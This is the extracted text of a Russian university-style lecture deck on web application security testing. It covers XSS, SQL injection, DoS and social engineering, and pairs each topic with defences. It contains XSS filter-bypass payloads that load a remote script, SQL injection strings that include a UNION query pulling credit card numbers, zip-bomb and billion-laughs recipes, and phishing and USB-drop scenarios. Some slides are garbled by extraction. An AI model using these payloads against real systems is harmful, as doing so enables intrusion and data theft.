Курс «Основы тестирования ПО» Лекция № 4 «Тестирование
8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx
- Количество слайдов: 94
Курс «Основы тестирования ПО» Лекция № 4 «Тестирование безопасности вебприложений» Докучаев Сергей / руководитель группы нефункционального тестирования/ Тензор, 2014
2 Вводная
3 Вводная
4 Вводная Стив Возняк Вместе с Джобсом занимались фрикерством в промышленных масштабах
5 Вводная
6 Вводная Mendax NASA, Пентагон, множество военных систем США, Motorola, Xerox, Panasoniс, банковские системы Отделался административным штрафом
7 Вводная
8 Вводная Кевин Митник Самый знаменитый хулиган и тролль в хакерском мире 80-90-х Несколько раз сидел в тюрьме
9 Вводная Любой подросток, начитавшийся журнала «Хакер» умеет запускать программы читать профильные форумы по времени ограничен только мамой
10 Термины Компьютерная безопасность Тестирование безопасности веб-приложений Тестирование на проникновение Хакер POC (Proof Of Concept)
11 Термины Компьютерная безопасность Тестирование безопасности веб-приложений Тестирование на проникновение Хакер POC (Proof Of Concept)
12 Термины Компьютерная безопасность Тестирование безопасности веб-приложений Тестирование на проникновение Хакер POC (Proof Of Concept)
13 Термины Компьютерная безопасность Тестирование безопасности веб-приложений Тестирование на проникновение Хакер POC (Proof Of Concept)
14 Термины Компьютерная безопасность Тестирование безопасности веб-приложений Тестирование на проникновение Хакер POC (Proof Of Concept)
15 Вводная Крупные сайты подвергаются различным атакам ежедневно. Как правило прямые атаки не срабатывают Однако, взлом даже очень защищённых сайтов – не редкость Обычно хакеры используют цепочку из небольших уязвимостей, которых сложно избежать, что бы провести успешную атаку
16 Вводная Что будет сегодня: XSS – принципы, тестирование, защита SQL Injection – принципы, примеры эксплуатации DOS атаки Социальная инженерия
17 Вводная Источники информации: OWASP Testing Guide: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
18 Вводная OWASP Top Ten 2013: A1 Injection A2 Broken Authentication and Session Management A3 Cross-Site Scripting (XSS) A4 Insecure Direct Object References A5 Security Misconfiguration A6 Sensitive Data Exposure A7 Missing Function Level Access Control A8 Cross-Site Request Forgery (CSRF) A9 Using Components with Known Vulnerabilities A10 Unvalidated Redirects and Forwards
19 XSS
20 XSS XSS (Cross Site Scripting) – уязвимость, позволяющая атакующему внедрять скрипты на страницы, которые просматривают другие пользователи. Как минимум треть сайтов в сети уязвимо через XSS Самая недооценённая уязвимость, т.к. идёт атака на пользователя Два основных типа: отраженная и хранимая
21 XSS Reflected XSS Атакующий Жертва Уязвимый сайт
22 XSS Reflected XSS Атакующий провоцирует жертву на переход по ссылке, в которой содержится скрипт
23 XSS Reflected XSS Жертва переходит по ссылке, по которой открывается страница уязвимого сайта
24 XSS Reflected XSS Жертва получает страницу, на которой срабатывает код атакующего
25 XSS Reflected XSS Атакующий получает приватные данные жертвы
26 XSS
27 XSS
28 XSS
29 XSS
30 XSS
31 XSS
32 XSS Stored XSS Атакующий Жертва Уязвимый сайт
33 XSS Stored XSS Злоумышленник передаёт данные на сайт, где они сохраняются
34 XSS Stored XSS Жертва открывает сайт, выполняя код
35 XSS Stored XSS Приватные данные уходят к злоумышленнику
36 XSS Как тестировать: Определяем все входные параметры Передаём в качестве значения параметра код: Открываем страницу, на которой выводится значение параметра Проверяем, что инъекция не сработала
37 Литература Примеры XSS
38 XSS Пример тестирования, если есть защита: 1. JavaScript чувствителен к регистру и разработчик может решить защититься переведя все символы в заглавные: 2. Тогда мы можем сделать так:
39 XSS Пример тестирования, если есть защита: 1. Разработчик решает просто вырезать символ “<” 2. Тогда мы можем закодировать скрипт так: %3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e \x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e
40 XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: 2. Тогда мы можем сделать так:
41 XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: 2. Тогда мы можем сделать так: ipt>
42 XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: 2. Тогда мы можем сделать так:
43 XSS Как предотвратить? Для того, что бы было проще понимать механизмы предотвращения XSS, стоит представлять себе любую страницу сайта как множество различных слотов. А все данные делить на доверенные и не доверенные. Доверенные данные мы сами формируем, а не доверенные нам передают извне.
44 XSS Как предотвратить?
45 XSS Как предотвратить?
46 XSS Как предотвратить?
47 XSS Как предотвратить?
48 XSS Как предотвратить? Правило № 1 Никогда не вставлять данные, которым мы не доверяем (получаем от пользователя) в следующие места: <- напрямую в скрипт <- в HTML комментарий
<- в имя аттрибута < ...user_data... href="/test" /> <- в имя тэга <- напрямую в CSS49 XSS Как предотвратить? Правило № 2 Для остальных слотов эскейпим спецсимволы перед вставкой пользовательских данных: & --> & < --> < > --> > " --> " ' --> ' / --> /
50 XSS Как предотвратить? Правило № 3 Использовать CSP (Content Security Policy) CSP – механизм, при котором сайт указывает браузеру откуда и какие ресурсы можно брать. Указывает при помощи хедера Content-Security-Policy Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld В настоящий момент не все браузеры поддерживают CSP (e.g. IE 10) CSP тоже можно обходить!
51 XSS Итого: XSS очень распространён и сильно не дооценён При тестировании требуется подобрать такие значения, при которых на атакуемой странице сработает скрипт 99% защита состоит из контроля за тем куда вставляем и эскейпинга спецсимволов Сканеры справляются плохо, нужна аналитика
52 SQL Injection
53 SQL Injection SQL Injection – уязвимость, при которой вредоносный SQL код вставляется в исходный SQL код. Следовательно может возникать при следующих условиях: Запросы составляются динамически Сайт принимает не доверенные данные
54 SQL Injection Атакующий БЛ СУБД Вебсервер
55 SQL Injection Атакующий Атакующий передаёт запрос с инъекцией на сервер БЛ СУБД Вебсервер
56 SQL Injection Атакующий Вебсервер передаёт данные в код БЛ СУБД Вебсервер
57 SQL Injection Атакующий Из кода выполняется запрос в БД БЛ СУБД Вебсервер
58 SQL Injection Атакующий СУБД возвращает результат (записи или сообщение) БЛ СУБД Вебсервер
59 SQL Injection Атакующий Данные попадают к пользователю БЛ СУБД Вебсервер
60 SQL Injection Имеется SQL запрос: SELECT * FROM Users WHERE Username='$username' AND Password='$password' Параметры $username и $password мы получаем от пользователя Будем инжектить в эти параметры.
61 SQL Injection Имеется SQL запрос: SELECT * FROM Users WHERE Username='$username' AND Password='$password' Параметры $username и $password мы получаем от пользователя Будем инжектить в эти параметры.
62 SQL Injection Наша задача – подобрать такие параметры, что бы при их вставке изначальный запрос преобразовался бы в запрос, который бы возвращал запись/записи из таблицы. $username = 1' or '1' = '1 $password = 1' or '1' = '1
63 SQL Injection Получаем в итоге такой запрос: SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' Который вероятно вернёт все записи с пользователями Если в коде была просто проверка на то, что запрос хоть что-то вернул, то мы проходим.
64 SQL Injection Что делать, если в коде идёт проверка на ровно один результат в выборке? Нужно исключить второй параметр из запроса! $username = 1' or '1' = '1' LIMIT 1/* В этом случае мы ограничиваем число найденных записей одним и «комментарим» весь оставшийся запрос.
65 SQL Injection Что делать, если в коде идёт проверка на ровно один результат в выборке? Нужно исключить второй параметр из запроса! $username = 1' or '1' = '1' LIMIT 1/* В этом случае мы ограничиваем число найденных записей одним и «комментарим» весь оставшийся запрос.
66 SQL Injection SQL Injection атаки можно разбить на три класса: Внутрипоточные – данные передаются по тому же каналу Внепоточные – данные передаются по другому каналу (e.g. почта, скайп) Слепые (данные не передаются)
67 SQL Injection Техники эксплуатации SQL Injection: UNION – пытаемся с исходными данными зацепить произвольные Boolean – при работе с булевыми значениями Error-based – когда атакующий принимает решения в зависимости от ошибок, которые генерирует Внепоточный – когда мы пытаемся получить данные используя другой канал Time-delay – использование таких команд как sleep Техники можно комбинировать!
68 SQL Injection Техники эксплуатации SQL Injection: UNION Имеется такой запрос: SELECT Name, Phone, Address FROM Users WHERE Id=$id Выбираем такое значение $id, что бы у нас получился UNION запрос: $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable В итоге получаем такой запрос: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
69 SQL Injection Техники эксплуатации SQL Injection: UNION В итоге получаем такой запрос: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable В результате мы получаем результат исходного запроса и все номера кредитных карточек.
70 SQL Injection Техники эксплуатации SQL Injection: UNION Проблема первая: мы не знаем сколько столбцов указано в операторе SELECT Для того, что бы узнать это – используем ORDER BY: http://www.example.com/product.php?id=10 ORDER BY 10— Если этот запрос выполнится успешно, значит в SELECT 10 или более столбцов. Сайт возможно выведет такое сообщение: Unknown column '10' in 'order clause'
71 SQL Injection Техники эксплуатации SQL Injection: UNION Проблема вторая: мы не знаем типы столбцов Пробуем комбинацию из NULL и 1: http://www.example.com/product.php?id=10 UNION SELECT 1,null,null— Если запрос успешно проходит, то вероятно первый тип столбца – integer Продолжаем далее
72 SQL Injection Процесс трудоёмкий, поэтому используем инструменты, которые облегчат нам работу! Два самых популярных инструмента: sqlmap и Havij Демонстрация работы sqlmap
73 SQL Injection Способы защиты: Параметризованные запросы Хранимые процедуры Проверка и экскейпинг всех входных параметров Урезаем права, под которыми выполняются запросы
74 DOS
75 DOS DOS (от англ. Denial Of Service) – атака на отказ в обслуживании. DDOS (от англ. Distributed Denial Of Service) – распределённая атака на отказ в обслуживании. От первой можем защититься, от второй можем только отбить простейшие атаки. 100% защиты от DDOS в настоящий момент нет
76 DOS Визуализация DDOS атаки, прикрывающей SQL Injection атаку
77 DOS Атака на блокировку аккаунтов Если у нас есть авторизация => можем подобрать пароль Защита: при нескольких неправильно введённых паролях – блокировать аккаунт. Оборачиваем защиту против защитников: подбираем список логинов постоянно лочим все аккаунты с данными логинами Итого: пользователь не может войти с правильным логином и паролем
78 DOS Атака на сессию Если у нас есть возможность хранить какую-либо информацию в сессии и есть возможность генерировать новые сессии, то мы можем исчерпать память или дисковое пространство генерируя большие объёмы сессий. Как тестировать: Убеждаемся, что указанные условия выполняются При помощи fuzzing атаки создаём как можно больше сессий Контролируем состояние системы (не уменьшается ли свободные ресурсы)
79 DOS ZIP бомба Ищем место на сайте в котором на сервер передаётся архив, а далее уже на сервере этот архив распаковывается: хостинг файлов для экономии места антивирусы проверяющие файлы в архивах документы, которые затем будут передаваться адресату etc. Создаём очень большой файл (в несколько петабайт), который сохраняем в zip-архив. Отправляем получившийся файл на сервер и получаем переполнение памяти или отказ дисковой подсистемы.
80 DOS ZIP бомба Берём файл размером в 1 Гб, состоящий из одних нулей. Пакуем его в zip-архив Создаём 10 копий полученного архива и пакуем их в новый архив Повторяем процесс 9 раз В итоге получаем архивный файл в сотню килобайт, который при итеративной распаковке становится размером примерно в 1 эксабайт. Для сравнения: в 2006 году на всём Земном шаре насчитывался приблизительно 161 эксабайт
81 DOS Миллиард улыбок Идея состоит в том, что бы атаковать xml-парсер, вынудив его создать из маленького файла большой. Эксплуатация: Так же как и при zip-бомбе составляем подставную xml Находим место на сайте, которое принимаем xml файлы, а далее их парсит Передаём xml-файл … Profit
" src="https://present5.com/presentacii/20170505/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_images/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_81.jpg" alt=">82 DOS Миллиард улыбок " />
82 DOS Миллиард улыбок ]>
" src="https://present5.com/presentacii/20170505/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_images/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_82.jpg" alt=">83 DOS Миллиард улыбок " />
83 DOS Миллиард улыбок ]>
" src="https://present5.com/presentacii/20170505/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_images/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_83.jpg" alt=">84 DOS Миллиард улыбок " />
84 DOS Миллиард улыбок ]>
" src="https://present5.com/presentacii/20170505/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_images/8-dokuchaev._osnovy_testirovaniya_po_-_lekciya_#4.pptx_84.jpg" alt=">85 DOS Миллиард улыбок " />
85 DOS Миллиард улыбок ]>
86 Социальная инженерия
87 Социальная инженерия Социальная инженерия — метод несанкционированного доступа к информационным ресурсам основанный на особенностях психологии человека. В отличии от других видов атак, в данной ситуации объектом является человек, пользователь системы. В отличии от технических видов атак, практически не претерпели изменений.
88 Социальная инженерия Претекстинг – метод социальной инженерии, при котором мы вначале выстраиваем доверительные отношения с жертвой, а затем просим выполнить что-то потенциально вредное на атакуемой системе При это используется: Создание выдуманной личности Использование известной информации о жертве, коллегах, компании Постепенное увеличение серьёзности просьб
89 Социальная инженерия Претекстинг – метод социальной инженерии, при котором мы вначале выстраиваем доверительные отношения с жертвой, а затем просим выполнить что-то потенциально вредное на атакуемой системе Как защититься: использование строгой политики безопасности в компании
90 Социальная инженерия Фишинг – метод получения логина/пароля, при котором используется подставной сайт, который выдаёт себя за другой. Методы защиты: атнифишинг-плагины для браузеров двухфакторная авторизация антиспамфильтры вывод персональной информации на страницах сайта
91 Социальная инженерия Quid pro quo (от лат. Quid pro quo — «то за это») – услуга за услугу. Сценарий: Звоним жертве и представляемся специалистом технической поддержки Сообщаем о проблеме у пользователя и предлагаем помощь в решении В процессе «решения» проблемы вынуждаем жертву раскрыть приватную информацию
92 Социальная инженерия Дорожное яблоко Сценарий: В месте, где жертва часто бывает оставляем флэшку с инфицированными файлами Используем любопытство (наклеиваем логотип компании и пишем «Информация о доходах») Жертва подбирает флэшку и открывает на корпоративном компьютере … Profit!
93 Вопросы есть?
Спасибо за внимание! Разработка СБИС Докучаев Сергей Валерьевич / [email protected] (4852) 262-000 (доб. 3435) sbis.ru